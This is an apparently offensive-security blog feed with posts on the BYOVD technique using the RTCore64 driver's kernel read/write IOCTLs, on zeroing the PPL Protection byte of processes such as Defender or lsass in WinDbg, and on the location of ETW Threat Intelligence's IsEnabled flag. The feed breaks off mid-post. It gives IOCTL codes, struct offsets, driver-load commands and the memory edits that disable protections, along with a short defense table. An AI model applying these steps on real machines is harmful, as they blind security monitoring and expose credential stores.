<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://9hackers.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://9hackers.com/" rel="alternate" type="text/html" /><updated>2026-09-19T21:08:55+00:00</updated><id>https://9hackers.com/feed.xml</id><title type="html">9Hackers</title><subtitle>Offensive Security Research — kernel internals, offensive tooling, malware analysis.</subtitle><author><name>hassan0x</name></author><entry><title type="html">BYOVD — Bring Your Own Vulnerable Driver with RTCore64</title><link href="https://9hackers.com/windows%20internals/offensive/2026/08/31/byovd-rtcore64.html" rel="alternate" type="text/html" title="BYOVD — Bring Your Own Vulnerable Driver with RTCore64" /><published>2026-08-31T00:00:00+00:00</published><updated>2026-08-31T00:00:00+00:00</updated><id>https://9hackers.com/windows%20internals/offensive/2026/08/31/byovd-rtcore64</id><content type="html" xml:base="https://9hackers.com/windows%20internals/offensive/2026/08/31/byovd-rtcore64.html"><![CDATA[<h1 id="byovd-notes-rtcore64">BYOVD notes (RTCore64)</h1>

<p>Windows loads only <strong>signed</strong> kernel drivers. BYOVD loads a <em>signed</em> driver that already has a bug, then talks to it from usermode.</p>

<p>RTCore64 (MSI Afterburner): device <code class="language-plaintext highlighter-rouge">\\.\RTCore64</code>. No check on caller, address, or size.</p>

<table>
  <thead>
    <tr>
      <th>IOCTL</th>
      <th>Op</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x80002048</code></td>
      <td>read 1/2/4 bytes at a kernel VA</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x8000204C</code></td>
      <td>write 1/2/4 bytes at a kernel VA</td>
    </tr>
  </tbody>
</table>

<p>Same job as WinDbg <code class="language-plaintext highlighter-rouge">dd</code>/<code class="language-plaintext highlighter-rouge">dq</code>/<code class="language-plaintext highlighter-rouge">ed</code>/<code class="language-plaintext highlighter-rouge">eb</code>/<code class="language-plaintext highlighter-rouge">eq</code>, without a debugger.</p>

<p><img src="/assets/images/byovd-attack-flow.svg" alt="flow" /></p>

<p><code class="language-plaintext highlighter-rouge">callbacks.c</code> / <code class="language-plaintext highlighter-rouge">etwti.c</code> / <code class="language-plaintext highlighter-rouge">ppl.c</code> share this block. Details of callbacks, ETW-TI, PPL are in those posts — this one is the primitive.</p>

<p>Admin is needed to <strong>load</strong> the driver (<code class="language-plaintext highlighter-rouge">SeLoadDriverPrivilege</code>). The IOCTLs are what usermode APIs cannot do.</p>

<hr />

<h2 id="device--buffer">Device + buffer</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CreateFileA("\\\\.\\RTCore64", …)
DeviceIoControl(READ  0x80002048)
DeviceIoControl(WRITE 0x8000204C)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">#pragma pack(push, 1)</code> — driver uses <strong>byte offsets</strong>, not C alignment.</p>

<p><img src="/assets/images/byovd-rtcore-struct.svg" alt="struct" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RTCORE_MEM  (48 bytes)
+0x00  pad0[8]
+0x08  Address     kernel VA
+0x10  pad1[8]
+0x18  Size        1, 2, or 4
+0x1C  Value       write in / read out
+0x20  pad2[16]
</code></pre></div></div>

<p>Pass <code class="language-plaintext highlighter-rouge">&amp;m</code> as input <strong>and</strong> output. Read fills <code class="language-plaintext highlighter-rouge">Value</code>.</p>

<hr />

<h2 id="helpers--windbg">Helpers = WinDbg</h2>

<table>
  <thead>
    <tr>
      <th>C</th>
      <th>WinDbg</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kread32(a)</code></td>
      <td><code class="language-plaintext highlighter-rouge">dd a L1</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kread64(a)</code></td>
      <td><code class="language-plaintext highlighter-rouge">dq a L1</code>  (two <code class="language-plaintext highlighter-rouge">kread32</code>, low then high)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kwrite32(a,v)</code></td>
      <td><code class="language-plaintext highlighter-rouge">ed a v</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kwrite64(a,v)</code></td>
      <td><code class="language-plaintext highlighter-rouge">eq a v</code>  (two <code class="language-plaintext highlighter-rouge">kwrite32</code>)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kzero64(a)</code></td>
      <td><code class="language-plaintext highlighter-rouge">ep a 0</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kwrite8(a,v)</code></td>
      <td><code class="language-plaintext highlighter-rouge">eb a v</code>  (read-modify-write; Size=4, address 4-aligned)</td>
    </tr>
  </tbody>
</table>

<p>Max access is <strong>4 bytes</strong>. Pointers = two calls.</p>

<p>Unaligned byte (PPL <code class="language-plaintext highlighter-rouge">Protection</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aligned = addr &amp; ~3
shift   = (addr &amp; 3) * 8
dword   = kread32(aligned)
patch one byte, kwrite32(aligned, dword)
</code></pre></div></div>

<p>Do not <code class="language-plaintext highlighter-rouge">ed</code> the unaligned address — adjacent fields share the DWORD.</p>

<p><code class="language-plaintext highlighter-rouge">IS_KERN_VA</code> = <code class="language-plaintext highlighter-rouge">&gt;= 0xFFFF800000000000</code>.</p>

<hr />

<h2 id="kernel-base">Kernel base</h2>

<p>Live VA = <code class="language-plaintext highlighter-rouge">kbase + RVA</code>. RVA = WinDbg <code class="language-plaintext highlighter-rouge">? nt!Symbol - nt</code>.</p>

<p>Tools use <code class="language-plaintext highlighter-rouge">EnumDeviceDrivers</code> — <code class="language-plaintext highlighter-rouge">drivers[0]</code> is <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kbase = EnumDeviceDrivers[0]
</code></pre></div></div>

<p><img src="/assets/images/byovd-kbase-resolution.svg" alt="kbase" /></p>

<p>Sanity (same as <code class="language-plaintext highlighter-rouge">db kbase L2</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(kread32(kbase) &amp; 0xFFFF) == 0x5A4D     // MZ
</code></pre></div></div>

<p>Fail = IOCTL did not read kernel (driver not loaded, HVCI, filter).</p>

<p>RVAs change every build. Recompute on the target.</p>

<hr />

<h2 id="load--unload">Load / unload</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sc.exe create RTCore64 type= kernel start= demand binPath= "C:\path\RTCore64.sys"
sc.exe start  RTCore64
sc.exe stop   RTCore64
sc.exe delete RTCore64
</code></pre></div></div>

<hr />

<h2 id="what-the-three-tools-do-with-this">What the three tools do with this</h2>

<table>
  <thead>
    <tr>
      <th>Tool</th>
      <th>Post</th>
      <th>IOCTL use</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">callbacks.exe</code></td>
      <td>kernel-callbacks</td>
      <td><code class="language-plaintext highlighter-rouge">dq</code> slots/lists, <code class="language-plaintext highlighter-rouge">ep</code>/<code class="language-plaintext highlighter-rouge">eb</code>/<code class="language-plaintext highlighter-rouge">eq</code> remove</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">etwti.exe</code></td>
      <td>etw-ti</td>
      <td><code class="language-plaintext highlighter-rouge">dq</code> silo/bucket, <code class="language-plaintext highlighter-rouge">ed</code> IsEnabled</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ppl.exe</code></td>
      <td>ppl-deep-dive</td>
      <td>walk <code class="language-plaintext highlighter-rouge">_EPROCESS</code>, <code class="language-plaintext highlighter-rouge">eb</code> Protection</td>
    </tr>
  </tbody>
</table>

<p>Do not copy those walks here.</p>

<hr />

<h2 id="defense-short">Defense (short)</h2>

<table>
  <thead>
    <tr>
      <th>Layer</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>HVCI</td>
      <td>blocklist at hypervisor; RTCore64 will not load</td>
    </tr>
    <tr>
      <td>WDAC <code class="language-plaintext highlighter-rouge">DriverSiPolicy.p7b</code></td>
      <td>hash deny</td>
    </tr>
    <tr>
      <td>Event 7045</td>
      <td><code class="language-plaintext highlighter-rouge">sc create</code> of a kernel service</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PsSetLoadImageNotifyRoutine</code></td>
      <td>see the <code class="language-plaintext highlighter-rouge">.sys</code> load</td>
    </tr>
  </tbody>
</table>

<p>HVCI is the one that actually stops the IOCTL path.</p>]]></content><author><name>hassan0x</name></author><category term="Windows Internals" /><category term="Offensive" /><category term="byovd" /><category term="rtcore64" /><category term="kernel" /><category term="driver" /><category term="edr-evasion" /><category term="windows" /><summary type="html"><![CDATA[BYOVD notes (RTCore64)]]></summary></entry><entry><title type="html">Protected Process Light (PPL) — A WinDbg Deep Dive</title><link href="https://9hackers.com/windows%20internals/deep%20dive/2026/08/24/ppl-deep-dive.html" rel="alternate" type="text/html" title="Protected Process Light (PPL) — A WinDbg Deep Dive" /><published>2026-08-24T00:00:00+00:00</published><updated>2026-08-24T00:00:00+00:00</updated><id>https://9hackers.com/windows%20internals/deep%20dive/2026/08/24/ppl-deep-dive</id><content type="html" xml:base="https://9hackers.com/windows%20internals/deep%20dive/2026/08/24/ppl-deep-dive.html"><![CDATA[<h1 id="ppl-notes-windbg">PPL notes (WinDbg)</h1>

<p><code class="language-plaintext highlighter-rouge">OpenProcess</code> on Defender / lsass / csrss hits a second gate in <code class="language-plaintext highlighter-rouge">NtOpenProcess</code> (<code class="language-plaintext highlighter-rouge">PsGrantedAccess</code>): compare caller vs target <strong><code class="language-plaintext highlighter-rouge">_EPROCESS.Protection</code></strong>. Too low → <code class="language-plaintext highlighter-rouge">ACCESS_DENIED</code>. One byte.</p>

<p><code class="language-plaintext highlighter-rouge">.reload /f</code> if names do not resolve. LiveKD is read-only — <code class="language-plaintext highlighter-rouge">eb</code> needs a writable kernel debug session.</p>

<p>Offsets (<code class="language-plaintext highlighter-rouge">Protection</code>, <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code>, <code class="language-plaintext highlighter-rouge">ImageFileName</code>) are <strong>build-specific</strong>. Always <code class="language-plaintext highlighter-rouge">dt nt!_EPROCESS</code> on the target. <code class="language-plaintext highlighter-rouge">ppl.c</code> stores them as <code class="language-plaintext highlighter-rouge">EPROC_*_OFF</code>.</p>

<p><img src="/assets/images/ppl-eprocess-layout.svg" alt="layout" />
<img src="/assets/images/ppl-protection-byte.svg" alt="byte" /></p>

<hr />

<h2 id="_ps_protection-1-byte"><code class="language-plaintext highlighter-rouge">_PS_PROTECTION</code> (1 byte)</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_PS_PROTECTION
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+0x000  Type    bits 0–2   0=None  1=PPL  2=PP
+0x000  Audit   bit 3      usually 0
+0x000  Signer  bits 4–7   trust rank
</code></pre></div></div>

<p>Byte = <code class="language-plaintext highlighter-rouge">(Signer &lt;&lt; 4) | Type</code>. Type <code class="language-plaintext highlighter-rouge">0</code> → not protected (signer ignored).</p>

<table>
  <thead>
    <tr>
      <th>Signer</th>
      <th>Who</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>None</td>
      <td>normal process</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Antimalware</td>
      <td><code class="language-plaintext highlighter-rouge">MsMpEng.exe</code> → <code class="language-plaintext highlighter-rouge">0x31</code></td>
    </tr>
    <tr>
      <td>4</td>
      <td>Lsa</td>
      <td><code class="language-plaintext highlighter-rouge">lsass.exe</code> if RunAsPPL → <code class="language-plaintext highlighter-rouge">0x41</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td>WinTcb</td>
      <td><code class="language-plaintext highlighter-rouge">csrss.exe</code> PP → <code class="language-plaintext highlighter-rouge">0x62</code></td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/images/ppl-signer-values.svg" alt="signers" /></p>

<hr />

<h2 id="1-protection-offset">1. Protection offset</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_EPROCESS 0 Protection
</code></pre></div></div>

<p>Type-only (<code class="language-plaintext highlighter-rouge">0</code> = no memory read). Example: <code class="language-plaintext highlighter-rouge">+0x5FA</code> or <code class="language-plaintext highlighter-rouge">+0x6FA</code> — <strong>yours may differ</strong>.</p>

<p>Also note:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_EPROCESS 0 ActiveProcessLinks
dt nt!_EPROCESS 0 ImageFileName
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ImageFileName</code> is <strong>15</strong> chars (<code class="language-plaintext highlighter-rouge">MpDefenderCoreService.exe</code> → <code class="language-plaintext highlighter-rouge">MpDefenderCore</code>).</p>

<hr />

<h2 id="2-find-_eprocess">2. Find <code class="language-plaintext highlighter-rouge">_EPROCESS</code></h2>

<h3 id="windbg-shortcut">WinDbg shortcut</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!process 0 0 MsMpEng.exe
</code></pre></div></div>

<p>Address after <code class="language-plaintext highlighter-rouge">PROCESS</code> is the <code class="language-plaintext highlighter-rouge">_EPROCESS</code>.</p>

<h3 id="walk-what-pplc-does">Walk (what <code class="language-plaintext highlighter-rouge">ppl.c</code> does)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dq nt!PsInitialSystemProcess L1
</code></pre></div></div>

<p>That pointer = System <code class="language-plaintext highlighter-rouge">_EPROCESS</code> (list head).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>? nt!PsInitialSystemProcess - nt
</code></pre></div></div>

<p>Then:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_EPROCESS &lt;ep&gt; ImageFileName
dt nt!_PS_PROTECTION &lt;ep&gt;+&lt;Protection&gt;
dq &lt;ep&gt;+&lt;ActiveProcessLinks&gt; L1
</code></pre></div></div>

<p>Right-hand Flink points <strong>into</strong> the next <code class="language-plaintext highlighter-rouge">LIST_ENTRY</code>, not the next <code class="language-plaintext highlighter-rouge">_EPROCESS</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>next_ep = Flink - ActiveProcessLinks
</code></pre></div></div>

<p>Stop when <code class="language-plaintext highlighter-rouge">next_ep</code> equals System. Empty / bad Flink → break.</p>

<hr />

<h2 id="3-read-the-byte">3. Read the byte</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_PS_PROTECTION &lt;ep&gt;+&lt;Protection&gt;
db &lt;ep&gt;+&lt;Protection&gt; L1
</code></pre></div></div>

<p>Example <code class="language-plaintext highlighter-rouge">0x31</code>: Type=1 (PPL), Signer=3 (Antimalware). <code class="language-plaintext highlighter-rouge">0x00</code> = already unprotected.</p>

<p><code class="language-plaintext highlighter-rouge">Protection</code> is often <strong>not 4-byte aligned</strong> (e.g. <code class="language-plaintext highlighter-rouge">…FA</code>). <code class="language-plaintext highlighter-rouge">dd</code> a DWORD and shift, or <code class="language-plaintext highlighter-rouge">db</code> one byte.</p>

<hr />

<h2 id="4-zero-it">4. Zero it</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eb &lt;ep&gt;+&lt;Protection&gt; 0
</code></pre></div></div>

<p>Type/Audit/Signer all 0. Process still runs — only the open-gate is gone.</p>

<p>Verify:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>db &lt;ep&gt;+&lt;Protection&gt; L1
</code></pre></div></div>

<p>Do not <code class="language-plaintext highlighter-rouge">ed</code> a DWORD at an unaligned address — neighbouring <code class="language-plaintext highlighter-rouge">_EPROCESS</code> fields share that dword. <code class="language-plaintext highlighter-rouge">ppl.c</code> uses read-modify-write (<code class="language-plaintext highlighter-rouge">kwrite8</code>).</p>

<hr />

<h2 id="commands">Commands</h2>

<table>
  <thead>
    <tr>
      <th>Cmd</th>
      <th>Does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dt</code></td>
      <td>type / field at address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">dq</code> / <code class="language-plaintext highlighter-rouge">db</code></td>
      <td>dump QWORD / bytes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">eb</code></td>
      <td>edit byte</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">!process</code></td>
      <td>find <code class="language-plaintext highlighter-rouge">_EPROCESS</code> by name</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">poi(addr)</code></td>
      <td>read pointer</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="how-pplc-maps-to-these-notes">How <code class="language-plaintext highlighter-rouge">ppl.c</code> maps to these notes</h2>

<p>WinDbg uses <strong>symbols</strong>. The C tool uses <strong>kernel base + RVA</strong>.</p>

<table>
  <thead>
    <tr>
      <th>Post</th>
      <th>WinDbg</th>
      <th><code class="language-plaintext highlighter-rouge">ppl.c</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>RVA</td>
      <td><code class="language-plaintext highlighter-rouge">? nt!PsInitialSystemProcess - nt</code></td>
      <td><code class="language-plaintext highlighter-rouge">RVA_PS_INITIAL_SYSTEM</code></td>
    </tr>
    <tr>
      <td>Head</td>
      <td><code class="language-plaintext highlighter-rouge">dq nt!PsInitialSystemProcess</code></td>
      <td><code class="language-plaintext highlighter-rouge">kread64(kbase + RVA)</code></td>
    </tr>
    <tr>
      <td>Name</td>
      <td><code class="language-plaintext highlighter-rouge">dt … ImageFileName</code></td>
      <td><code class="language-plaintext highlighter-rouge">kread_name(ep + EPROC_NAME_OFF)</code></td>
    </tr>
    <tr>
      <td>Links</td>
      <td><code class="language-plaintext highlighter-rouge">dq ep+ActiveProcessLinks</code></td>
      <td><code class="language-plaintext highlighter-rouge">kread64(ep + EPROC_LINKS_OFF)</code></td>
    </tr>
    <tr>
      <td>Next</td>
      <td><code class="language-plaintext highlighter-rouge">Flink - offset</code></td>
      <td><code class="language-plaintext highlighter-rouge">ep = flink - EPROC_LINKS_OFF</code></td>
    </tr>
    <tr>
      <td>Prot</td>
      <td><code class="language-plaintext highlighter-rouge">db ep+Protection</code></td>
      <td><code class="language-plaintext highlighter-rouge">read_prot(ep)</code> (DWORD + shift)</td>
    </tr>
    <tr>
      <td>Zero</td>
      <td><code class="language-plaintext highlighter-rouge">eb ep+Protection 0</code></td>
      <td><code class="language-plaintext highlighter-rouge">kwrite8(ep + EPROC_PROT_OFF, 0)</code></td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">list</code> = walk, print if byte ≠ 0. <code class="language-plaintext highlighter-rouge">delete &lt;name&gt;</code> = walk, <code class="language-plaintext highlighter-rouge">kwrite8</code> 0 on match.</p>

<p>Session name / <code class="language-plaintext highlighter-rouge">!process</code> are WinDbg-only. <code class="language-plaintext highlighter-rouge">ppl.c</code> always walks from System.</p>]]></content><author><name>hassan0x</name></author><category term="Windows Internals" /><category term="Deep Dive" /><category term="ppl" /><category term="protected-process" /><category term="eprocess" /><category term="kernel" /><category term="windbg" /><category term="defender" /><summary type="html"><![CDATA[PPL notes (WinDbg)]]></summary></entry><entry><title type="html">ETW Threat Intelligence — How Windows Watches Process Injection</title><link href="https://9hackers.com/windows%20internals/etw/2026/08/23/etw-ti.html" rel="alternate" type="text/html" title="ETW Threat Intelligence — How Windows Watches Process Injection" /><published>2026-08-23T00:00:00+00:00</published><updated>2026-08-23T00:00:00+00:00</updated><id>https://9hackers.com/windows%20internals/etw/2026/08/23/etw-ti</id><content type="html" xml:base="https://9hackers.com/windows%20internals/etw/2026/08/23/etw-ti.html"><![CDATA[<h1 id="etw-ti-notes-windbg">ETW-TI notes (WinDbg)</h1>

<p><code class="language-plaintext highlighter-rouge">Microsoft-Windows-Threat-Intelligence</code> is a kernel ETW provider. Defender (<code class="language-plaintext highlighter-rouge">DefenderApiLogger</code>) and EDRs subscribe. Ordinary processes cannot — consumers are PPL-Antimalware.</p>

<p>GUID <code class="language-plaintext highlighter-rouge">{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}</code>. Always hashes to bucket <strong>29</strong>.</p>

<p>ETW roles: <strong>provider</strong> fires → <strong>session</strong> buffers → <strong>consumer</strong> reads. If no session, <code class="language-plaintext highlighter-rouge">IsEnabled=0</code> and the kernel skips the event (no cost).</p>

<p><code class="language-plaintext highlighter-rouge">.reload /f</code> first if names do not resolve. LiveKD is read-only — <code class="language-plaintext highlighter-rouge">eb</code> needs a writable kernel debug session.</p>

<table>
  <thead>
    <tr>
      <th>Event</th>
      <th>Trigger</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ALLOCVM</code></td>
      <td><code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> with exec</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MAPVIEW</code></td>
      <td><code class="language-plaintext highlighter-rouge">NtMapViewOfSection</code> into another process</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">READVM</code> / <code class="language-plaintext highlighter-rouge">WRITEVM</code></td>
      <td>cross-process memory</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PROTECTVM</code></td>
      <td>change to exec</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">QUEUEUSERAPC</code></td>
      <td>APC inject</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SETTHREADCONTEXT</code></td>
      <td>context hijack</td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/images/etw-architecture.svg" alt="architecture" />
<img src="/assets/images/etw-ti-events.svg" alt="events" /></p>

<hr />

<h2 id="find-_etw_guid_entry">Find <code class="language-plaintext highlighter-rouge">_ETW_GUID_ENTRY</code></h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nt!EtwpDebuggerData[3] → silo → GuidHashTable[29] → walk Flink until GUID
</code></pre></div></div>

<p><img src="/assets/images/etw-structure-chain.svg" alt="chain" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_ETW_GUID_ENTRY
+0x000  GuidList          LIST_ENTRY (bucket chain)
+0x028  Guid              16 bytes  ← first DWORD Data1 = 0xF4E1897C
+0x060  ProviderEnableInfo  _TRACE_ENABLE_INFO  (OR of all slots)
+0x080  EnableInfo[8]     one slot per session, each 0x20
+0x188  SiloState         back-pointer to silo

_TRACE_ENABLE_INFO
+0x000  IsEnabled         1=on, 0=off  ← eb this
+0x004  Level
+0x006  LoggerId          USHORT, index into EtwpLoggerContext
+0x008  EnableProperty
+0x010  MatchAnyKeyword
+0x018  MatchAllKeyword
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">+0x028</code> / <code class="language-plaintext highlighter-rouge">+0x060</code> / <code class="language-plaintext highlighter-rouge">+0x080</code> are <strong>hex</strong>. Slot <code class="language-plaintext highlighter-rouge">s</code> = <code class="language-plaintext highlighter-rouge">entry + 0x80 + s*0x20</code>.</p>

<hr />

<h2 id="hash-table">Hash table</h2>

<h3 id="silo-root">Silo root</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dp nt!EtwpDebuggerData L4
</code></pre></div></div>

<p>4th pointer (<code class="language-plaintext highlighter-rouge">+0x18</code>, index 3) = <code class="language-plaintext highlighter-rouge">_ETW_SILODRIVERSTATE</code>. Save it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>? nt!EtwpDebuggerData - nt
</code></pre></div></div>

<h3 id="dump-silo">Dump silo</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_SILODRIVERSTATE &lt;silo&gt;
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Off</th>
      <th>Use</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">EtwpLoggerContext</code></td>
      <td><code class="language-plaintext highlighter-rouge">+0x1C8</code></td>
      <td>session array (names, optional)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">EtwpGuidHashTable</code></td>
      <td><code class="language-plaintext highlighter-rouge">+0x1D0</code></td>
      <td>64 buckets, <strong>embedded</strong> (<code class="language-plaintext highlighter-rouge">silo+0x1D0</code>)</td>
    </tr>
  </tbody>
</table>

<h3 id="bucket-size">Bucket size</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?? sizeof(nt!_ETW_HASH_BUCKET)
</code></pre></div></div>

<p>Expect <code class="language-plaintext highlighter-rouge">0x38</code> (56). Bucket 29 offset = <code class="language-plaintext highlighter-rouge">29 * 0x38 = 0x658</code>.</p>

<p>TI GUID hash (fixed):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(Data1 ^ Data2Data3 ^ Data4[0] ^ Data4[4]) &amp; 0x3F
= (0xF4E1897C ^ 0xBB5D5668 ^ 0xF1 ^ 0x04) &amp; 0x3F
= 0x1D = 29
</code></pre></div></div>

<h3 id="bucket-29">Bucket 29</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_HASH_BUCKET &lt;silo&gt;+0x1D0+0x658
</code></pre></div></div>

<p>On current builds <code class="language-plaintext highlighter-rouge">ListHead</code> is <strong><code class="language-plaintext highlighter-rouge">[3]</code></strong>. TI is a trace GUID → use <strong><code class="language-plaintext highlighter-rouge">ListHead[0].Flink</code></strong>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_GUID_ENTRY &lt;ListHead[0].Flink&gt;
</code></pre></div></div>

<p>If <code class="language-plaintext highlighter-rouge">Guid</code> is not TI, <code class="language-plaintext highlighter-rouge">dq</code> that Flink and <code class="language-plaintext highlighter-rouge">dt</code> the next node. Stop when Flink equals the bucket address (<code class="language-plaintext highlighter-rouge">silo+0x1D0+0x658</code>). Empty list: <code class="language-plaintext highlighter-rouge">ListHead[0].Flink</code> == bucket address.</p>

<p>(<code class="language-plaintext highlighter-rouge">etwti.c</code> reads <code class="language-plaintext highlighter-rouge">kread64(bucketHead)</code> = this same Flink, then walks until Data1 == <code class="language-plaintext highlighter-rouge">0xF4E1897C</code>.)</p>

<h3 id="confirm-guid-optional-search">Confirm GUID (optional search)</h3>

<p>Prefer the Flink walk. Search only if the list is messy:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s -b &lt;silo&gt;+0x1D0 L?0x2000000 7c 89 e1 f4 5d bb 68 56 f1 d8 04 0f 4d 8d d3 44
</code></pre></div></div>

<p>The hit is the <strong>Guid field</strong>, not the struct. Subtract <code class="language-plaintext highlighter-rouge">0x28</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_GUID_ENTRY &lt;hit&gt;-0x28
</code></pre></div></div>

<p>Do not <code class="language-plaintext highlighter-rouge">dt</code> the hit address itself — <code class="language-plaintext highlighter-rouge">GuidList</code> will look like the GUID bytes. Multiple hits = extra silos; keep the one whose <code class="language-plaintext highlighter-rouge">SiloState</code> (<code class="language-plaintext highlighter-rouge">+0x188</code>) matches <code class="language-plaintext highlighter-rouge">&lt;silo&gt;</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_GUID_ENTRY &lt;entry&gt;
</code></pre></div></div>

<hr />

<h2 id="list-is-anyone-listening">List: is anyone listening?</h2>

<p>Aggregate (fast path):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_TRACE_ENABLE_INFO &lt;entry&gt;+0x60
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">IsEnabled=1</code> → at least one session. Defender often has <code class="language-plaintext highlighter-rouge">MatchAnyKeyword = 0xFFFFFFFFFFFFFFFF</code>.</p>

<p>Eight slots (<code class="language-plaintext highlighter-rouge">+0x80</code>, step <code class="language-plaintext highlighter-rouge">+0x20</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_TRACE_ENABLE_INFO &lt;entry&gt;+0x80
dt nt!_TRACE_ENABLE_INFO &lt;entry&gt;+0xa0
… eight times
</code></pre></div></div>

<p>Note <code class="language-plaintext highlighter-rouge">LoggerId</code> where <code class="language-plaintext highlighter-rouge">IsEnabled=1</code>. Typical: 2–3 slots.</p>

<h3 id="session-name">Session name</h3>

<p><code class="language-plaintext highlighter-rouge">EtwpLoggerContext</code> is on the silo (<code class="language-plaintext highlighter-rouge">+0x1C8</code>). Also the <strong>third</strong> QWORD of <code class="language-plaintext highlighter-rouge">dp nt!EtwpDebuggerData L4</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dt nt!_ETW_SILODRIVERSTATE &lt;silo&gt; EtwpLoggerContext
</code></pre></div></div>

